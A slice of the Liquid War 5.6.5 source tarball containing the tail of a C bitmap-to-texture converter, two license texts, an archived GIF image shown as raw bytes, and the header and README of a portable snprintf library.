filenames\n"); printf ("\n"); printf ("Options:\n"); printf ("-? -h -H : displays this help.\n"); printf ("-s -S : silent mode, nothing written to the console.\n"); printf ("\n"); printf ("Remark: the created texture will have a .tex extension.\n"); } /*-----------------------------------------------------------------*/ /* lecture des parametres de la ligne de commande */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ int acknowledge_flag (char *str) { int found = 0; if (str[0] == '-' || str[0] == '/') { found = 1; switch (str[1]) { case '?': case 'h': case 'H': FLAG_HELP = 1; break; case 's': case 'S': FLAG_SILENT = 1; break; default: found = 0; } } return found; } /*-----------------------------------------------------------------*/ int read_command_line (void) { int i, j = 0, success = 1; if (ARGC <= 2) { success = 0; if (!FLAG_HELP) printf ("ERROR! Too few arguments.\n"); } else { for (i = 1; i < ARGC; ++i) { if ((!acknowledge_flag (ARGV[i]))) { if (j == 0) FIRST_COLOR = atoi (ARGV[i]); if (j == 1) COLOR_NUMBER = atoi (ARGV[i]); if (j >= 2) FILENAMES[j - 2] = ARGV[i]; j++; } } if (COLOR_NUMBER < 8 || COLOR_NUMBER > 32) { /* * COLOR_NUMBER must be <=32 for weird implementation * reasons. There's no easy way to change this easily. */ success = 0; if (!FLAG_HELP) printf ("ERROR! Color number must be between 8 and 32"); } else { NUMBER_OF_FILES = j - 2; if (NUMBER_OF_FILES <= 0) { success = 0; if (!FLAG_HELP) printf ("ERROR! Too few arguments.\n"); } } } return success; } /*-----------------------------------------------------------------*/ /* acces disque */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ int load_file (char *filename) { int success; if (!FLAG_SILENT) printf ("Loading '%s'.\n", filename); if (BITMAP_SRC != NULL) destroy_bitmap (BITMAP_SRC); BITMAP_SRC = load_bitmap (filename, PALETTE_SRC); success = BITMAP_SRC != NULL; if (!success) printf ("ERROR! Unable to read '%s'.\n", filename); return success; } /*-----------------------------------------------------------------*/ /* lecture des parametres du tableau */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void get_range (void) { int min_x = BITMAP_SRC->w; int min_y = BITMAP_SRC->h; int max_x = -1; int max_y = -1; int x, y; for (y = 0; y < BITMAP_SRC->h; ++y) for (x = 0; x < BITMAP_SRC->w; ++x) if (getpixel (BITMAP_SRC, x, y) >= FIRST_COLOR || getpixel (BITMAP_SRC, x, y) < FIRST_COLOR + COLOR_NUMBER) { if (min_x > x) min_x = x; if (min_y > y) min_y = y; if (max_x < x) max_x = x; if (max_y < y) max_y = y; } DST_X = min_x; DST_Y = min_y; DST_W = max_x - min_x + 1; DST_H = max_y - min_y + 1; if (DST_W < 1 || DST_H < 1) { printf ("ERROR! Texture is too small.\n"); DST_W = DST_H = 1; } DST_SIZE = 3 * COLOR_NUMBER + ((DST_W * DST_H + 7) / 8) * 5; } /*-----------------------------------------------------------------*/ void update_system_name (char *str) { char *search; memset (SYSTEM_NAME, 0, sizeof (SYSTEM_NAME)); /* * No extension we just use the file name */ strncpy (SYSTEM_NAME, str, sizeof (SYSTEM_NAME)); search = strchr (SYSTEM_NAME, '.'); if (search) { (*search) = '\0'; } } /*-----------------------------------------------------------------*/ /* conversion dans le buffer */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void convert_to_buffer (void) { int pos = 0, pos8 = 0, x, y, i; char octet[5], toadd; int coul; for (i = 0; i < COLOR_NUMBER; ++i) { BUFFER[pos++] = PALETTE_SRC[FIRST_COLOR + i].r; BUFFER[pos++] = PALETTE_SRC[FIRST_COLOR + i].g; BUFFER[pos++] = PALETTE_SRC[FIRST_COLOR + i].b; } for (i = 0; i < 5; ++i) octet[i] = 0; for (y = 0; y < DST_H; ++y) for (x = 0; x < DST_W; ++x) { coul = getpixel (BITMAP_SRC, DST_X + x, DST_Y + y) - FIRST_COLOR; toadd = 1 << pos8; octet[0] |= (coul & 1) ? toadd : 0; octet[1] |= (coul & 2) ? toadd : 0; octet[2] |= (coul & 4) ? toadd : 0; octet[3] |= (coul & 8) ? toadd : 0; octet[4] |= (coul & 16) ? toadd : 0; if (pos8 == 7 || (y == DST_H - 1 && x == DST_W - 1)) { for (i = 0; i < 5; ++i) { BUFFER[pos++] = octet[i]; octet[i] = 0; } pos8 = 0; } else pos8++; } } /*-----------------------------------------------------------------*/ /* on ecrit sur le disque */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void change_ext (char *str) { char *ext; ext = strchr (str, '.'); ext[1] = 't'; ext[2] = 'e'; ext[3] = 'x'; } /*-----------------------------------------------------------------*/ void write_to_disk (char *str) { FILE *f; short w, h; char header[4]; if (!FLAG_SILENT) printf ("Writing %s to disk.\n", str); delete_file (str); f = fopen (str, "w"); if (f != NULL) { w = DST_W; h = DST_H; /* * This is supposed to match the endianess used in * the serial.h/serial.c files of the core source. */ header[0] = 0xFF & w; header[1] = w >> 8; header[2] = 0xFF & h; header[3] = h >> 8; fwrite (header, 4, 1, f); fwrite (SYSTEM_NAME, sizeof (SYSTEM_NAME), 1, f); fwrite (BUFFER, DST_SIZE, 1, f); fclose (f); } else { printf ("Unable to write %s.\n", str); } } /*=================================================================*/ /* fonctions main */ /*=================================================================*/ /*-----------------------------------------------------------------*/ int main (int argc, char **argv) { int i; ARGC = argc; ARGV = argv; #ifdef ALLEGRO_UNIX install_allegro (SYSTEM_NONE, &errno, atexit); #else allegro_init (); #endif set_color_depth (8); set_color_conversion (COLORCONV_REDUCE_TO_256); if (read_command_line ()) { for (i = 0; i < NUMBER_OF_FILES; ++i) { if (load_file (FILENAMES[i])) { get_range (); convert_to_buffer (); update_system_name (FILENAMES[i]); change_ext (FILENAMES[i]); write_to_disk (FILENAMES[i]); } } } else { if (FLAG_HELP) display_long_help (); else display_short_help (); } allegro_exit (); return 0; } END_OF_MAIN () liquidwar-5.6.5/utils/snprintf/0000775000372000037200000000000013407756104016144 5ustar travistravisliquidwar-5.6.5/utils/snprintf/LICENSE.txt0000664000372000037200000001236213407756104017773 0ustar travistravisThe Frontier Artistic License Version 1.0 Derived from the Artistic License at OpenSource.org. Submitted to OpenSource.org for Open Source Initiative certification. Preamble The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications. Definitions "Package" refers to the script, suite, file, or collection of scripts, suites, and/or files distributed by the Copyright Holder, and to derivatives of that Package created through textual modification. "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder. "Copyright Holder" is whoever is named in the copyright statement or statements for the package. "You" is you, if you're thinking about copying or distributing this Package. "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.) "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it. Terms 1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers. 2. You may apply bug fixes, portability fixes, and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version. 3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed script, suite, or file stating how and when you changed that script, suite, or file, and provided that you do at least ONE of the following: a) Use the modified Package only within your corporation or organization, or retain the modified Package solely for personal use. b) Place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as ftp.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package. c) Rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page (or equivalent) for each non-standard executable that clearly documents how it differs from the Standard Version. d) Make other distribution arrangements with the Copyright Holder. 4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following: a) Distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version. b) Accompany the distribution with the machine-readable source of the Package with your modifications. c) Accompany any non-standard executables with their corresponding Standard Version executables, give the non-standard executables non-standard names, and clearly document the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version. d) Make other distribution arrangements with the Copyright Holder. 5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own. 6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package. 7. Scripts, suites, or programs supplied by you that depend on or otherwise make use of this Package shall not be considered part of this Package. 8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission. 9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. The End http://www.spinwardstars.com/frontier/fal.html liquidwar-5.6.5/utils/snprintf/valid-html40.gif0000664000372000037200000000431613407756104021044 0ustar travistravisGIF89aX333Z{f3{f3JJJfff{sff{1JZcƙ3fJf̙3cfֽƵ!d,Xm۶m۶m۶m۶m۶m۶m۶۶m۶m۶m۶m۶m۶m۶mn۶m۶m۶m۶m۶mymu]u]u]u]u]u]u]u`u]WUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUMyu]v]u]u]u]u]u]u]uu]UUUUUUUUUUUUUUUUUUUU`UUUUUUUUUUUU5yu]ׁ]u]u]u]u]u]u]u]vUUUUUUUUUUUUUUUUUUUUUXUUUUUUUUUUDxy[u]u`u]u]u]u]u]u]u]WUUUQTUEUEQETEUUFQTQUUUUUym]u]uu]u]u]u]u]u]u]UU`U@UU TEUUBUEUUUUMyu]u]u]v]u]u]u]u]u]uUUUUUEPEQQDU@UE T`UUUU5yu]h]% ׁ])I$It]&gu]UUUUFQTBUU TUUBDUDPXTUUUDxy[uLu$Zu $$ eHu]WUUUUUEPUU TBUEVUUUym]a u]`]9 p\,gFu]UUUQ TUBUU TPQUUUUUMyu]% uNt$ZrJupt&d]uUUUTUXUUUUUPE@T T EU`5yu$X-uZpM]uu]UUUUPUUUV TUUBE@QEP@QUH@y[u8$aIiIu`g]u]u]WUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUMBm]uZtX$$X$ uhu]u]u]UUUUUUUUUUUUUU`UUUUUUUUUUUUUUUUUUAu]q9 ,p(eWv]u]uUUUUUUDUUUUUUUHUUUUUUUUUUUUUUUU<Au]9 ,4 u]) e]ׁ]u]UUUUUUQHTUUUUtVUUUUUUUUUUUUUA<mu]%ItX$Xu]$Lu]u`u]WUUUUUQUUUUQ!UUUUUUUUUUUUU<Au]v$iIh]u(]u]uu]UUUUUqPUUUU%QRUU`UUUUAPUUUA<yu]ׁ(Z-q\uX2\]u]wu]vUUUUEUUUUrTUu UUUXUAPUU<Ay[u]a`t]$(Z1Ic]]uu]WUUUrHGTUUUUQUՁTUUUUB@PA<ym]u]%uh],X$&X܆Fu]UU`UIDTUUUU!GUUUUUUU@<Ayu]uh]vܢuܒ$Iu]`p]uUUUxqVUUU%QRUUUUU<@<4yu]uu]ǁZu0Zuvu]UUUU"ȁ tDuXrPUUUUUU<<ADxy[u]u]u]u`u]u]u]u]u]WUUUUUGTU!UtTUUUUUUU<>TUym]u]u]u]uu]u]u]u]u]UUUUUUU`UUTUUUUUUUUUUUUU<UUMyu]u]u]u]u]v]u]u]u]uUUUUUUUUUXUUUUUUUUUUUUUUUU@PUU`5yu]u]u]u]u]ׁ]u]u]u]UUUUUUUUUUUVUUUUUUUUUUUUUUUUUUUHxy[u]u]u]u]u]u`u]u]u]WUUUUUUUUUUUUUUUUUUUUUUUUUUUPUUUUMzm]u]u]u]u]u]uu]u]u]UUUUUUUUUUUUUU`UUUUUUUUUUUUUUUUUU5灞u۶m۶m۶m۶m۶m۶mn۶m۶m4M4M4M4M4M8M4M4MS4M4M4MDxy&        AAAAAAAAAAy;liquidwar-5.6.5/utils/snprintf/COPYING0000664000372000037200000004312613407756104017205 0ustar travistravis GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. liquidwar-5.6.5/utils/snprintf/snprintf.h0000664000372000037200000000165213407756104020164 0ustar travistravis#ifndef _PORTABLE_SNPRINTF_H_ #define _PORTABLE_SNPRINTF_H_ #define PORTABLE_SNPRINTF_VERSION_MAJOR 2 #define PORTABLE_SNPRINTF_VERSION_MINOR 2 #ifdef HAVE_SNPRINTF #include #else extern int snprintf(char *, size_t, const char *, /*args*/ ...); extern int vsnprintf(char *, size_t, const char *, va_list); #endif #if defined(HAVE_SNPRINTF) && defined(PREFER_PORTABLE_SNPRINTF) extern int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...); extern int portable_vsnprintf(char *str, size_t str_m, const char *fmt, va_list ap); #define snprintf portable_snprintf #define vsnprintf portable_vsnprintf #endif extern int asprintf (char **ptr, const char *fmt, /*args*/ ...); extern int vasprintf (char **ptr, const char *fmt, va_list ap); extern int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...); extern int vasnprintf(char **ptr, size_t str_m, const char *fmt, va_list ap); #endif liquidwar-5.6.5/utils/snprintf/README.html0000664000372000037200000005014613407756104017775 0ustar travistravis snprintf.c - a portable implementation of snprintf (including vsnprintf.c, asnprintf, vasnprintf, asprintf, vasprintf)

snprintf.c
- a portable implementation of snprintf,
including vsnprintf.c, asnprintf, vasnprintf, asprintf, vasprintf

snprintf is a routine to convert numeric and string arguments to formatted strings. It is similar to sprintf(3) provided in a system's C library, yet it requires an additional argument - the buffer size - and it guarantees never to store anything beyond the given buffer, regardless of the format or arguments to be formatted. Some newer operating systems do provide snprintf in their C library, but many do not or do provide an inadequate (slow or idiosyncratic) version, which calls for a portable implementation of this routine.

Author

Mark Martinec <mark.martinec@ijs.si>, April 1999, June 2000
Copyright 1999,2000,2001,2002 Mark Martinec. All rights reserved.

Terms and conditions ...

This program is free software; it is dual licensed, the terms of the "Frontier Artistic License" or the "GNU General Public License" can be chosen at your discretion. The chosen license then applies solely and in its entirety. Both licenses come with this Kit.

Features

  • careful adherence to specs regarding flags, field width and precision;
  • good performance for large string handling (large format, large argument or large paddings). Performance is similar to system's sprintf and in several cases significantly better (make sure you compile with optimizations turned on, tell the compiler the code is strict ANSI if necessary to give it more freedom for optimizations);
  • return value semantics per ISO/IEC 9899:1999 ("ISO C99");
  • written in standard ISO/ANSI C - requires an ANSI C compiler.

Supported conversion specifiers and data types

This snprintf only supports the following conversion specifiers: s, c, d, o, u, x, X, p (and synonyms: i, D, U, O - see below) with flags: '-', '+', '', '0' and '#'. An asterisk is supported for field width as well as precision.

Length modifiers 'h' (short int), 'l' (long int), and 'll' (long long int) are supported.

NOTE:

If macro SNPRINTF_LONGLONG_SUPPORT is not defined (default) the length modifier 'll' is recognized but treated the same as 'l', which may cause argument value truncation! Defining SNPRINTF_LONGLONG_SUPPORT requires that your system's sprintf also handles length modifier 'll'. long long int is a language extension which may not be portable.

Conversion of numeric data (conversion specifiers d, o, u, x, X, p) with length modifiers (none or h, l, ll) is left to the system routine sprintf, but all handling of flags, field width and precision as well as c and s conversions is done very carefully by this portable routine. If a string precision (truncation) is specified (e.g. %.8s) it is guaranteed the string beyond the specified precision will not be referenced.

Length modifiers h, l and ll are ignored for c and s conversions (data types wint_t and wchar_t are not supported).

The following common synonyms for conversion characters are supported:

  • i is a synonym for d
  • D is a synonym for ld, explicit length modifiers are ignored
  • U is a synonym for lu, explicit length modifiers are ignored
  • O is a synonym for lo, explicit length modifiers are ignored
The D, O and U conversion characters are nonstandard, they are supported for backward compatibility only, and should not be used for new code.

The following is specifically not supported:

  • flag ' (thousands' grouping character) is recognized but ignored
  • numeric conversion specifiers: f, e, E, g, G and synonym F, as well as the new a and A conversion specifiers
  • length modifier 'L' (long double) and 'q' (quad - use 'll' instead)
  • wide character/string conversions: lc, ls, and nonstandard synonyms C and S
  • writeback of converted string length: conversion character n
  • the n$ specification for direct reference to n-th argument
  • locales

It is permitted for str_m to be zero, and it is permitted to specify NULL pointer for resulting string argument if str_m is zero (as per ISO C99).

The return value is the number of characters which would be generated for the given input, excluding the trailing null. If this value is greater or equal to str_m, not all characters from the result have been stored in str, output bytes beyond the (str_m-1) -th character are discarded. If str_m is greater than zero it is guaranteed the resulting string will be null-terminated.

NOTE that this matches the ISO C99, OpenBSD, and GNU C library 2.1, but is different from some older and vendor implementations, and is also different from XPG, XSH5, SUSv2 specifications. For historical discussion on changes in the semantics and standards of snprintf see printf(3) man page in the Linux programmers manual.

Routines asprintf and vasprintf return a pointer (in the ptr argument) to a buffer sufficiently large to hold the resulting string. This pointer should be passed to free(3) to release the allocated storage when it is no longer needed. If sufficient space cannot be allocated, these functions will return -1 and set ptr to be a NULL pointer. These two routines are a GNU C library extensions (glibc).

Routines asnprintf and vasnprintf are similar to asprintf and vasprintf, yet, like snprintf and vsnprintf counterparts, will write at most str_m-1 characters into the allocated output string, the last character in the allocated buffer then gets the terminating null. If the formatted string length (the return value) is greater than or equal to the str_m argument, the resulting string was truncated and some of the formatted characters were discarded. These routines present a handy way to limit the amount of allocated memory to some sane value.

Availability

http://www.ijs.si/software/snprintf/

Mailing list

There is a very low-traffic mailing list snprintf-announce@ijs.si where announcements about new versions will be posted as well as warnings about threatening bugs if discovered. The posting is restricted to snprintf developer(s).

To subscribe to (or unsubscribe from) the mailing list please visit the list server's web page http://mailman.ijs.si/listinfo/snprintf-announce

You can also subscribe to the list by mailing the command SUBSCRIBE either in the subject or in the message body to the address snprintf-announce-request@ijs.si . You will be asked for confirmation before subscription will be effective.

The list of members is only accessible to the list administrator, so there is no need for concern about automatic e-mail address gatherers.

Questions about the mailing list and concerns for the attention of a person should be sent to snprintf-announce-admin@ijs.si

There is no general discussion list about portable snprintf at the moment. Please send comments and suggestion to the author.

Known problems with the latest version 2.2

Please add the following two #include directives to file snprintf.h if your compiler complains:
#include <stddef.h>
#include <stdarg.h>
Only if using test.c, please replace the line 266:
assert(str_full[sizeof(str_full)-1] == '\0');
in file test.c, with:
assert(str_full[len1f] == '\0');

(Thanks to Tuomo A Turunen for reporting the later problem.)

This will be fixed in the next version.

Revision history

Version 1.3 fixes a runaway loop problem from 1.2. Please upgrade.
Version 2.2 fixes a potential %c conversion problem present in all previous versions.

1999-06-30 V1.3 Mark Martinec <mark.martinec@ijs.si>
  • fixed runaway loop (eventually crashing when str_l wraps beyond 2^31) while copying format string without conversion specifiers to a buffer that is too short (thanks to Edwin Young <edwiny@autonomy.com> for spotting the problem);
  • added macros PORTABLE_SNPRINTF_VERSION_(MAJOR|MINOR) to snprintf.h
2000-02-14 V2.0 (never released) Mark Martinec <mark.martinec@ijs.si>
  • relaxed license terms: The Artistic License now applies. You may still apply the GNU GENERAL PUBLIC LICENSE as was distributed with previous versions, if you prefer;
  • changed REVISION HISTORY dates to use ISO 8601 date format;
